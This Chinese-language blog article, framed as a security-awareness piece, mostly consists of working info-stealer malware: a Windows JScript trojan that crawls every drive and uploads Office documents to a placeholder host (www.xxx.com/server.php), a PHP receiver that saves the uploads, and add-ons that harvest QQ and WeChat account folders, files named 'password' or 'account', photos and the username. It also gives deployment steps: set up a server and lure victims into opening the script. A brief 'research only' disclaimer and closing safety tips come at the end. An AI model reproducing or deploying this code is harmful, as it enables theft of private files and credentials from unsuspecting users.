导读:在日常电脑使用中,很多小伙伴都会从互联网下载网站或是QQ、微信等聊天软件中进行传输安装软件、文件等。略知网络安全的朋友们都会比较谨慎所安装的软件是否安全,比如说通过杀毒软件杀毒、通过对文件的后缀、图标、大小等分析,那么这样的操作真的就是安全的吗?
相信大家都对远程木马有所了解,名气最大的应该是灰鸽子远程木马,它就是通过后缀为exe文件诱导用户点击,从而造成个人隐私、文件的泄漏甚至金钱损失。
灰鸽子木马界面
随着互联网安全工具越来越成熟,对之前的exe木马文件的云查杀越发严格,基本上做过免杀的程序也挺不了多久就被发现,所以像这类的远程木马已经慢慢消失成为历史。
但是道高一尺魔高一丈,最新的远程木马通过新的途径新的方式悄然出现,它就是利用js代码来猎取你的电脑文件,更为可怕的是它可以通过逻辑代码自动地进入电脑文件中搜索预设好的文件后缀进行分析获取,比如说代码只想获取你的聊天记录,那么它会通过检索查找到QQ、微信等数据库文件上传获取、也可以通过查找相册等目录获取照片等隐私文件,危害还是非常大的,本期文章小君就对js木马进行分析,看它是如何获取文件的。
优点:
缺点:
QQ传输引导中马时会自动改后缀名称,所以很大程度上是需要通过将js代码进行压缩后引导安装。
首先需要木马使用者搭建一台服务器,当然也可以是虚拟空间、vps等都是可以的,然后搭建php环境,大家都知道像灰鸽子这类远程木马都有客户端和服务端两部分,那么js木马同样也有,需要在PHP环境下上传服务端代码server.php文件,在网站目录下新建一个目录upload用于获取中马者的隐私文件,接下来就是将js代码也就是木马的客户端发送给被控者引导点击,如果成功点击,远程服务器将会开始不断收到上传的隐私文件。
效果图
js木马客户端代码如下:
var __POSTURL__ = 'http://www.xxx.com/server.php';
function UpFile(FilePath, FileName) {
var Stream = new ActiveXObject('ADODB.Stream');
Stream.Type = 1;
Stream.Open();
Stream.LoadFromFile(FilePath);
var XHR = new ActiveXObject('Msxml2.XMLHTTP' || 'Microsoft.XMLHTTP');
XHR.open('POST', __POSTURL__, false);
XHR.setRequestHeader('fileName', FileName);
XHR.setRequestHeader('enctype', 'multipart/form-data');
XHR.send(Stream.Read());
Stream.Close();
return XHR.responseText
}
function GetDriveList() {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var e = new Enumerator(fso.Drives);
var re = [];
for (; ! e.atEnd(); e.moveNext()) {
if (e.item().IsReady) {
re.push(e.item().DriveLetter)
}
}
return re
}
function GetFolderList(folderspec) {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var f = fso.GetFolder(folderspec);
var fc = new Enumerator(f.SubFolders);
var re = [];
for (; ! fc.atEnd(); fc.moveNext()) {
re.push(fc.item())
}
return re
}
function GetFileList(folderspec) {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var f = fso.GetFolder(folderspec);
var fc = new Enumerator(f.files);
var re = [];
for (; ! fc.atEnd(); fc.moveNext()) {
re.push([fc.item(), fc.item().Name])
}
return re
}
function Search(Drive) {
var FolderList = GetFolderList(Drive);
for (var i = 0; i < FolderList.length; i++) {
Search(FolderList[i])
}
var FileList = GetFileList(Drive);
for (var i = 0; i < FileList.length; i++) {
if (/.(doc|docx|xls|xlsx)$/i.test(FileList[i])) {
UpFile(FileList[i][0], FileList[i][1])
}
}
}
function Load() {
var WMIs = GetObject("winmgmts:\\.\root\cimv2");
var Items = WMIs.ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'wscript.exe'");
var i = 0,
rs = new Enumerator(Items);
for (; ! rs.atEnd(); rs.moveNext()) {
i++
}
if (i > 1) WScript.Quit(0);
Items = WMIs = i = rs = null;
var DriveList = GetDriveList();
for (var i = 0; i < DriveList.length; i++) {
Search(DriveList[i] + ":\\")
}
}
Load();
PHP服务端代码:
<?php
if($_SERVER['REQUEST_METHOD'] == 'POST'){
$fileName = uniqid(rand()) . '_' . iconv('utf-8', 'gbk', $_SERVER['HTTP_FILENAME']);
print_r(file_put_contents("uploads/{$fileName}", $HTTP_RAW_POST_DATA));
}
?>
1、获取微信、QQ等隐私信息
function GetQQWechat() {
var QQList = [];
var WechatList = [];
var QQPath = "C:\Users\" + USERNAME+ "\Documents\Tencent Files"
var WechatPath = "C:\Users\" + USERNAME+ "\Documents\WeChat Files"
var Patt = new RegExp(/[^\]+$/);
if (FSO.folderExists(QQPath)) {
var QQFolderList = GetFolderList(QQPath);
if (QQFolderList) {
for (var i = 0; i < QQFolderList.length; i++) {
var QQFolderStr = QQFolderList[i];
var QQResult = Patt.exec(QQFolderStr);
var QQ = "";
if (QQResult) QQ = QQResult[0];
if (QQ == "All Users") continue;
QQList.push(QQ);
}
}
}
if (FSO.folderExists(WechatPath)) {
var WechatFolderList = GetFolderList(WechatPath);
if (WechatFolderList) {
for (var i = 0; i < WechatFolderList.length; i++) {
var WechatFolderStr = WechatFolderList[i];
var WechatResult = Patt.exec(WechatFolderStr);
var Wechat = "";
if (WechatResult) Wechat = WechatResult[0];
if (Wechat == "All Users") continue;
WechatList.push(Wechat);
}
}
}
return {"QQList":QQList, "WechatList":WechatList}
}
2、通过政策表达式获取文件名含"账号"、"密码"、"account"、"password"等文件
if (/((账号|密码|password|passwd|account)+(.*)*.(txt|doc|docx|xls|xlsx)$)|(.(JPG|PNG)$)/.test(FileList[i][1])) {
UpFile(FileList[i][0], FileList[i][1])
}
3、获取目标电脑用户名
function GetUserName() {
var WshNetwork = new ActiveXObject("WScript.Network");
var UserName = WshNetwork.UserName;
return UserName;
}
XHR.setRequestHeader('userName', USERNAME);
以上代码仅供研究,请勿非法利用!
结语:
看到这里是不是感觉自己的电脑并非那么的安全,我们在日常使用中,首先要有一定的安全意识,任何文件的传输,不要不做分析就随意双击打开,养成使用杀毒软件查杀的习惯,虽然并不能保证完全被查杀,但最起码也能过滤百分之九十以上的木马文件,剩下的就要靠自己的分析和判断,莫名其妙来源文件不接,图标异常的不接、文件大小与所需要内容不对等的文件不接。感谢您阅读本期网络安全普及文章,如果本文对您有所帮助请关注点赞哟,如果在网络安全中遇到问题请在评论区或私信留言。